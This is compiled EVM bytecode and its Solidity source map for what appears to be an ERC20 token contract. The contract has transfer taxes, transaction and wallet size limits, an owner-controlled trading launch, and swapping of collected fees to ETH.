f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106636009600a611740565b610672906461f313f88061174f565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106af5760405162461bcd60e51b815260040161057d906117ed565b601154600160a01b900460ff16156107095760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161057d565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107809190611822565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108069190611822565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108779190611822565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306108bf816001600160a01b031660009081526001602052604090205490565b6000806108d46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610961919061183f565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109de919061186d565b506011805462ff00ff60a01b19166201000160a01b179055565b60006103c2338484610b90565b6000546001600160a01b03163314610a2f5760405162461bcd60e51b815260040161057d906117ed565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a69573d6000803e3d6000fd5b50565b6001600160a01b038316610ace5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057d565b6001600160a01b038216610b2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057d565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057d565b60008111610cb85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161057d565b600080546001600160a01b03858116911614801590610ce557506000546001600160a01b03848116911614155b8015610cff57506003546001600160a01b03848116911614155b15610f5557600b54600003610d3d57610d3a6064610d34600854600b5411610d2957600454610d2d565b6006545b859061110c565b90611195565b90505b6011546001600160a01b038581169116148015610d6857506010546001600160a01b03848116911614155b15610e6d57600c54821115610dbf5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161057d565b600d5482610de2856001600160a01b031660009081526001602052604090205490565b610dec919061188f565b1115610e3a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161057d565b610e556064610d34600854600b5411610d2957600454610d2d565b600b80549192506000610e67836118a2565b91905055505b6011546001600160a01b038481169116148015610e9357506001600160a01b0384163014155b15610ec057610ebd6064610d34600954600b5411610eb357600554610d2d565b600754859061110c565b90505b30600090815260016020526040902054601154600160a81b900460ff16158015610ef757506011546001600160a01b038581169116145b8015610f0c5750601154600160b01b900460ff165b8015610f1b5750600a54600b54115b15610f5357600e54811115610f4757610f47610f4284610f3d84600f546111d7565b6111d7565b6111ec565b47610f51816110d2565b505b505b8015610fcf5730600090815260016020526040902054610f759082611366565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc69085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610ff290836113c5565b6001600160a01b03851660009081526001602052604090205561103761101883836113c5565b6001600160a01b03851660009081526001602052604090205490611366565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61108185856113c5565b60405190815260200160405180910390a350505050565b600081848411156110bc5760405162461bcd60e51b815260040161057d9190611435565b5060006110c984866118bb565b95945050505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561054f573d6000803e3d6000fd5b60008260000361111e575060006103c6565b600061112a838561174f565b90508261113785836118ce565b1461118e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161057d565b9392505050565b600061118e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611407565b60008183116111e6578261118e565b50919050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061123457611234611766565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b19190611822565b816001815181106112c4576112c4611766565b6001600160a01b0392831660209182029290920101526010546112ea9130911684610a6c565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061132390859060009086903090429060040161177c565b600060405180830381600087803b15801561133d57600080fd5b505af1158015611351573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600080611373838561188f565b90508381101561118e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161057d565b600061118e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611098565b600081836114285760405162461bcd60e51b815260040161057d9190611435565b5060006110c984866118ce565b600060208083528351808285015260005b8181101561146257858101830151858201604001528201611446565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a6957600080fd5b80356114a381611483565b919050565b600080604083850312156114bb57600080fd5b82356114c681611483565b946020939093013593505050565b6000806000606084860312156114e957600080fd5b83356114f481611483565b9250602084013561150481611483565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561153e57600080fd5b823567ffffffffffffffff8082111561155657600080fd5b818501915085601f83011261156a57600080fd5b81358181111561157c5761157c611515565b8060051b604051601f19603f830116810181811085821117156115a1576115a1611515565b6040529182528482019250838101850191888311156115bf57600080fd5b938501935b828510156115e4576115d585611498565b845293850193928501926115c4565b98975050505050505050565b60006020828403121561160257600080fd5b813561118e81611483565b6000806040838503121561162057600080fd5b823561162b81611483565b9150602083013561163b81611483565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169757816000190482111561167d5761167d611646565b8085161561168a57918102915b93841c9390800290611661565b509250929050565b6000826116ae575060016103c6565b816116bb575060006103c6565b81600181146116d157600281146116db576116f7565b60019150506103c6565b60ff8411156116ec576116ec611646565b50506001821b6103c6565b5060208310610133831016604e8410600b841016171561171a575081810a6103c6565b611724838361165c565b806000190482111561173857611738611646565b029392505050565b600061118e60ff84168361169f565b80820281158282048414176103c6576103c6611646565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117cc5784516001600160a01b0316835293830193918301916001016117a7565b50506001600160a01b03969096166060850152505050608001529392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561183457600080fd5b815161118e81611483565b60008060006060848603121561185457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561187f57600080fd5b8151801515811461118e57600080fd5b808201808211156103c6576103c6611646565b6000600182016118b4576118b4611646565b5060010190565b818103818111156103c6576103c6611646565b6000826118eb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec6706a494790f2f5274797051a331b518ebd5d74c62b1dfa405530a508d17b664736f6c63430008150033

3589:7662:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5438:83;;;;;;;;;;-1:-1:-1;5508:5:0;;;;;;;;;;;;-1:-1:-1;;;5508:5:0;;;;5438:83;;;;;;;:::i;:::-;;;;;;;;6271:161;;;;;;;;;;-1:-1:-1;6271:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6271:161:0;1162:187:1;4620:54:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4620:54:0;1354:177:1;5715:95:0;;;;;;;;;;;;;:::i;6440:311::-;;;;;;;;;;-1:-1:-1;6440:311:0;;;;;:::i;:::-;;:::i;5624:83::-;;;;;;;;;;-1:-1:-1;5624:83:0;;4237:1;2139:36:1;;2127:2;2112:18;5624:83:0;1997:184:1;10684:564:0;;;;;;;;;;-1:-1:-1;10684:564:0;;;;;:::i;:::-;;:::i;:::-;;5818:119;;;;;;;;;;-1:-1:-1;5818:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5911:18:0;5884:7;5911:18;;;:9;:18;;;;;;;5818:119;2670:148;;;;;;;;;;;;;:::i;9728:159::-;;;;;;;;;;;;;:::i;4425:56::-;;;;;;;;;;;;;;;;10006:513;;;;;;;;;;;;;:::i;2456:79::-;;;;;;;;;;-1:-1:-1;2494:7:0;2521:6;2456:79;;-1:-1:-1;;;;;2521:6:0;;;3842:51:1;;3830:2;3815:18;2456:79:0;3696:203:1;4488:58:0;;;;;;;;;;;;;;;;5529:87;;;;;;;;;;-1:-1:-1;5601:7:0;;;;;;;;;;;;-1:-1:-1;;;5601:7:0;;;;5529:87;;5945:167;;;;;;;;;;-1:-1:-1;5945:167:0;;;;;:::i;:::-;;:::i;4553:60::-;;;;;;;;;;;;;;;;6120:143;;;;;;;;;;-1:-1:-1;6120:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6228:18:0;;;6201:7;6228:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6120:143;10564:112;;;;;;;;;;;;;:::i;6271:161::-;6346:4;6363:39;291:10;6386:7;6395:6;6363:8;:39::i;:::-;-1:-1:-1;6420:4:0;6271:161;;;;;:::o;5715:95::-;5768:7;4295:13;4237:1;4295:2;:13;:::i;:::-;4280:28;;:12;:28;:::i;:::-;5788:14;;5715:95;:::o;6440:311::-;6538:4;6555:36;6565:6;6573:9;6584:6;6555:9;:36::i;:::-;6602:119;6611:6;291:10;6633:87;6669:6;6633:87;;;;;;;;;;;;;;;;;:31;6643:6;291:10;6120:143;:::i;6633:31::-;:35;:87;:35;:87::i;:::-;6602:8;:119::i;:::-;-1:-1:-1;6739:4:0;6440:311;;;;;:::o;10684:564::-;10796:14;;10786:7;;10753:20;;-1:-1:-1;;;;;10796:14:0;;10786:4;;10796:14;;10786:7;;;;;;:::i;:::-;;;;;;:24;-1:-1:-1;;;;;10786:24:0;;;-1:-1:-1;;;;;10786:24:0;;;;;10821:45;10830:4;10835:1;10830:7;;;;;;;;:::i;:::-;;;;;;;10839:4;10844:1;10839:7;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;10821:8:0;:45::i;:::-;10880:14;;10877:320;;10943:4;5884:7;5911:18;;;:9;:18;;;;;;10964:15;;:221;;-1:-1:-1;;;10964:221:0;;10910:39;;-1:-1:-1;;;;;;10964:15:0;;:66;;:221;;10910:39;;10964:15;;11100:4;;11131;;11155:15;;10964:221;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10877:320;11207:33;11218:21;11207:10;:33::i;:::-;10742:506;10684:564;:::o;2670:148::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;;;;;;;;;2777:1:::1;2761:6:::0;;2740:40:::1;::::0;-1:-1:-1;;;;;2761:6:0;;::::1;::::0;2740:40:::1;::::0;2777:1;;2740:40:::1;2808:1;2791:19:::0;;-1:-1:-1;;;;;;2791:19:0::1;::::0;;2670:148::o;9728:159::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;4295:13:::1;4237:1;4295:2;:13;:::i;:::-;4280:28;::::0;:12:::1;:28;:::i;:::-;9781:12;:22:::0;4295:13:::1;4237:1;4295:2;:13;:::i;:::-;4280:28;::::0;:12:::1;:28;:::i;:::-;9814:14;:22:::0;9852:27:::1;4295:13;4237:1;4295:2;:13;:::i;:::-;4280:28;::::0;:12:::1;:28;:::i;:::-;9852:27;::::0;1500:25:1;;;1488:2;1473:18;9852:27:0::1;;;;;;;9728:159::o:0;10006:513::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;10072:11:::1;::::0;-1:-1:-1;;;10072:11:0;::::1;;;10071:12;10063:47;;;::::0;-1:-1:-1;;;10063:47:0;;7665:2:1;10063:47:0::1;::::0;::::1;7647:21:1::0;7704:2;7684:18;;;7677:30;7743:25;7723:18;;;7716:53;7786:18;;10063:47:0::1;7463:347:1::0;10063:47:0::1;10155:15;;;;;;;;;-1:-1:-1::0;;;;;10155:15:0::1;-1:-1:-1::0;;;;;10155:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10137:55:0::1;;10201:4;10208:15;;;;;;;;;-1:-1:-1::0;;;;;10208:15:0::1;-1:-1:-1::0;;;;;10208:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10137:94;::::0;-1:-1:-1;;;;;;10137:94:0::1;::::0;;;;;;-1:-1:-1;;;;;8301:15:1;;;10137:94:0::1;::::0;::::1;8283:34:1::0;8353:15;;8333:18;;;8326:43;8218:18;;10137:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10121:13;:110:::0;;-1:-1:-1;;;;;10121:110:0;;::::1;-1:-1:-1::0;;;;;;10121:110:0;;::::1;;::::0;;10242:15:::1;::::0;::::1;:31;10281:21;10312:4;10318:24;10312:4:::0;-1:-1:-1;;;;;5911:18:0;5884:7;5911:18;;;:9;:18;;;;;;;5818:119;10318:24:::1;10343:1;10345::::0;10347:7:::1;2494::::0;2521:6;-1:-1:-1;;;;;2521:6:0;;2456:79;10347:7:::1;10242:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10242:129:0;;;-1:-1:-1;;;;;8739:15:1;;;10242:129:0::1;::::0;::::1;8721:34:1::0;8771:18;;;8764:34;;;;8814:18;;;8807:34;;;;8857:18;;;8850:34;8921:15;;;8900:19;;;8893:44;10355:15:0::1;8953:19:1::0;;;8946:35;8655:19;;10242:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10389:13:0::1;::::0;10420:15:::1;::::0;10382:71:::1;::::0;-1:-1:-1;;;10382:71:0;;-1:-1:-1;;;;;10420:15:0;;::::1;10382:71;::::0;::::1;9477:51:1::0;-1:-1:-1;;9544:18:1;;;9537:34;10389:13:0;::::1;::::0;-1:-1:-1;10382:29:0::1;::::0;9450:18:1;;10382:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10464:11:0::1;:18:::0;;-1:-1:-1;;;;10493:18:0;-1:-1:-1;;;10493:18:0;;;10006:513::o;5945:167::-;6023:4;6040:42;291:10;6064:9;6075:6;6040:9;:42::i;10564:112::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;2494:7;2521:6;;10620:48:::1;::::0;-1:-1:-1;;;;;2521:6:0;;;;10646:21:::1;10620:48:::0;::::1;;;::::0;10646:21;;10620:48;2494:7;10620:48;10646:21;2521:6;10620:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10564:112::o:0;6759:335::-;-1:-1:-1;;;;;6852:19:0;;6844:68;;;;-1:-1:-1;;;6844:68:0;;10066:2:1;6844:68:0;;;10048:21:1;10105:2;10085:18;;;10078:30;10144:34;10124:18;;;10117:62;-1:-1:-1;;;10195:18:1;;;10188:34;10239:19;;6844:68:0;9864:400:1;6844:68:0;-1:-1:-1;;;;;6931:21:0;;6923:68;;;;-1:-1:-1;;;6923:68:0;;10471:2:1;6923:68:0;;;10453:21:1;10510:2;10490:18;;;10483:30;10549:34;10529:18;;;10522:62;-1:-1:-1;;;10600:18:1;;;10593:32;10642:19;;6923:68:0;10269:398:1;6923:68:0;-1:-1:-1;;;;;7002:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7054:32;;1500:25:1;;;7054:32:0;;1473:18:1;7054:32:0;;;;;;;6759:335;;;:::o;7102:2021::-;-1:-1:-1;;;;;7190:18:0;;7182:68;;;;-1:-1:-1;;;7182:68:0;;10874:2:1;7182:68:0;;;10856:21:1;10913:2;10893:18;;;10886:30;10952:34;10932:18;;;10925:62;-1:-1:-1;;;11003:18:1;;;10996:35;11048:19;;7182:68:0;10672:401:1;7182:68:0;-1:-1:-1;;;;;7269:16:0;;7261:64;;;;-1:-1:-1;;;7261:64:0;;11280:2:1;7261:64:0;;;11262:21:1;11319:2;11299:18;;;11292:30;11358:34;11338:18;;;11331:62;-1:-1:-1;;;11409:18:1;;;11402:33;11452:19;;7261:64:0;11078:399:1;7261:64:0;7353:1;7344:6;:10;7336:64;;;;-1:-1:-1;;;7336:64:0;;11684:2:1;7336:64:0;;;11666:21:1;11723:2;11703:18;;;11696:30;11762:34;11742:18;;;11735:62;-1:-1:-1;;;11813:18:1;;;11806:39;11862:19;;7336:64:0;11482:405:1;7336:64:0;7411:14;2521:6;;-1:-1:-1;;;;;7442:15:0;;;2521:6;;7442:15;;;;:32;;-1:-1:-1;2494:7:0;2521:6;-1:-1:-1;;;;;7461:13:0;;;2521:6;;7461:13;;7442:32;:56;;;;-1:-1:-1;7484:14:0;;-1:-1:-1;;;;;7478:20:0;;;7484:14;;7478:20;;7442:56;7438:1343;;;7518:11;;7531:1;7518:14;7515:139;;7561:77;7634:3;7561:68;7585:15;;7573:11;;:27;7572:56;;7616:12;;7572:56;;;7602:13;;7572:56;7561:6;;:10;:68::i;:::-;:72;;:77::i;:::-;7552:86;;7515:139;7682:13;;-1:-1:-1;;;;;7674:21:0;;;7682:13;;7674:21;:55;;;;-1:-1:-1;7713:15:0;;-1:-1:-1;;;;;7699:30:0;;;7713:15;;7699:30;;7674:55;7670:391;;;7768:12;;7758:6;:22;;7750:60;;;;-1:-1:-1;;;7750:60:0;;12094:2:1;7750:60:0;;;12076:21:1;12133:2;12113:18;;;12106:30;12172:27;12152:18;;;12145:55;12217:18;;7750:60:0;11892:349:1;7750:60:0;7863:14;;7853:6;7837:13;7847:2;-1:-1:-1;;;;;5911:18:0;5884:7;5911:18;;;:9;:18;;;;;;;5818:119;7837:13;:22;;;;:::i;:::-;:40;;7829:79;;;;-1:-1:-1;;;7829:79:0;;12578:2:1;7829:79:0;;;12560:21:1;12617:2;12597:18;;;12590:30;12656:28;12636:18;;;12629:56;12702:18;;7829:79:0;12376:350:1;7829:79:0;7936:77;8009:3;7936:68;7960:15;;7948:11;;:27;7947:56;;7991:12;;7947:56;;7936:77;8032:11;:13;;7927:86;;-1:-1:-1;8032:11:0;:13;;;:::i;:::-;;;;;;7670:391;8086:13;;-1:-1:-1;;;;;8080:19:0;;;8086:13;;8080:19;:43;;;;-1:-1:-1;;;;;;8103:20:0;;8118:4;8103:20;;8080:43;8077:173;;;8154:80;8230:3;8154:71;8178:16;;8166:11;;:28;8165:59;;8211:13;;8165:59;;;8196:14;;8154:6;;:10;:71::i;:80::-;8145:89;;8077:173;8327:4;8278:28;5911:18;;;:9;:18;;;;;;8353:6;;-1:-1:-1;;;8353:6:0;;;;8352:7;:30;;;;-1:-1:-1;8369:13:0;;-1:-1:-1;;;;;8363:19:0;;;8369:13;;8363:19;8352:30;:45;;;;-1:-1:-1;8386:11:0;;-1:-1:-1;;;8386:11:0;;;;8352:45;:81;;;;;8415:18;;8401:11;;:32;8352:81;8348:422;;;8480:17;;8457:20;:40;8454:135;;;8520:69;8537:51;8541:6;8549:38;8553:20;8575:11;;8549:3;:38::i;:::-;8537:3;:51::i;:::-;8520:16;:69::i;:::-;8637:21;8724:30;8735:18;8724:10;:30::i;:::-;8435:335;8348:422;7500:1281;7438:1343;8796:8;;8793:153;;8861:4;8843:24;;;;:9;:24;;;;;;:36;;8872:6;8843:28;:36::i;:::-;8836:4;8818:24;;;;:9;:24;;;;;;;:61;;;;8897:37;;-1:-1:-1;;;;;8897:37:0;;;;;;;8927:6;1500:25:1;;1488:2;1473:18;;1354:177;8897:37:0;;;;;;;;8793:153;-1:-1:-1;;;;;8972:15:0;;;;;;:9;:15;;;;;;:27;;8992:6;8972:19;:27::i;:::-;-1:-1:-1;;;;;8956:15:0;;;;;;:9;:15;;;;;:43;9024:37;9042:18;:6;9053;9042:10;:18::i;:::-;-1:-1:-1;;;;;9024:13:0;;;;;;:9;:13;;;;;;;:17;:37::i;:::-;-1:-1:-1;;;;;9010:13:0;;;;;;;:9;:13;;;;;:51;;;;9077:38;;;9096:18;:6;9107;9096:10;:18::i;:::-;9077:38;;1500:25:1;;;1488:2;1473:18;9077:38:0;;;;;;;7171:1952;7102:2021;;;:::o;1348:190::-;1434:7;1470:12;1462:6;;;;1454:29;;;;-1:-1:-1;;;1454:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1494:9:0;1506:5;1510:1;1506;:5;:::i;:::-;1494:17;1348:190;-1:-1:-1;;;;;1348:190:0:o;9895:103::-;9958:14;;9950:40;;-1:-1:-1;;;;;9958:14:0;;;;9950:40;;;;;9983:6;;9958:14;9950:40;9958:14;9950:40;9983:6;9958:14;9950:40;;;;;;;;;;;;;;;;;;;1546:246;1604:7;1628:1;1633;1628:6;1624:47;;-1:-1:-1;1658:1:0;1651:8;;1624:47;1681:9;1693:5;1697:1;1693;:5;:::i;:::-;1681:17;-1:-1:-1;1726:1:0;1717:5;1721:1;1681:17;1717:5;:::i;:::-;:10;1709:56;;;;-1:-1:-1;;;1709:56:0;;13428:2:1;1709:56:0;;;13410:21:1;13467:2;13447:18;;;13440:30;13506:34;13486:18;;;13479:62;-1:-1:-1;;;13557:18:1;;;13550:31;13598:19;;1709:56:0;13226:397:1;1709:56:0;1783:1;1546:246;-1:-1:-1;;;1546:246:0:o;1800:132::-;1858:7;1885:39;1889:1;1892;1885:39;;;;;;;;;;;;;;;;;:3;:39::i;9131:98::-;9188:7;9215:1;9213;:3;9212:9;;9220:1;9212:9;;;-1:-1:-1;9218:1:0;9131:98;-1:-1:-1;9131:98:0:o;9237:483::-;5076:6;:13;;-1:-1:-1;;;;5076:13:0;-1:-1:-1;;;5076:13:0;;;9339:16:::1;::::0;;9353:1:::1;9339:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9339:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9339:16:0::1;9315:40;;9384:4;9366;9371:1;9366:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9366:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9410:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9410:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9366:7;;9410:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9400:4;9405:1;9400:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9400:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9475:15:::1;::::0;9443:62:::1;::::0;9460:4:::1;::::0;9475:15:::1;9493:11:::0;9443:8:::1;:62::i;:::-;9516:15;::::0;:196:::1;::::0;-1:-1:-1;;;9516:196:0;;-1:-1:-1;;;;;9516:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9597:11;;9516:15:::1;::::0;9639:4;;9666::::1;::::0;9686:15:::1;::::0;9516:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5112:6:0;:14;;-1:-1:-1;;;;5112:14:0;;;-1:-1:-1;;;;9237:483:0:o;1017:179::-;1075:7;;1107:5;1111:1;1107;:5;:::i;:::-;1095:17;;1136:1;1131;:6;;1123:46;;;;-1:-1:-1;;;1123:46:0;;13830:2:1;1123:46:0;;;13812:21:1;13869:2;13849:18;;;13842:30;13908:29;13888:18;;;13881:57;13955:18;;1123:46:0;13628:351:1;1204:136:0;1262:7;1289:43;1293:1;1296;1289:43;;;;;;;;;;;;;;;;;:3;:43::i;1940:189::-;2026:7;2061:12;2054:5;2046:28;;;;-1:-1:-1;;;2046:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2085:9:0;2097:5;2101:1;2097;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-1:-1:-1;;;;;;;;2318:1121:1:o;3444:247::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;3611:9;3598:23;3630:31;3655:5;3630:31;:::i;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:422;4518:1;4561:5;4518:1;4575:270;4596:7;4586:8;4583:21;4575:270;;;4655:4;4651:1;4647:6;4643:17;4637:4;4634:27;4631:53;;;4664:18;;:::i;:::-;4714:7;4704:8;4700:22;4697:55;;;4734:16;;;;4697:55;4813:22;;;;4773:15;;;;4575:270;;;4579:3;4429:422;;;;;:::o;4856:806::-;4905:5;4935:8;4925:80;;-1:-1:-1;4976:1:1;4990:5;;4925:80;5024:4;5014:76;;-1:-1:-1;5061:1:1;5075:5;;5014:76;5106:4;5124:1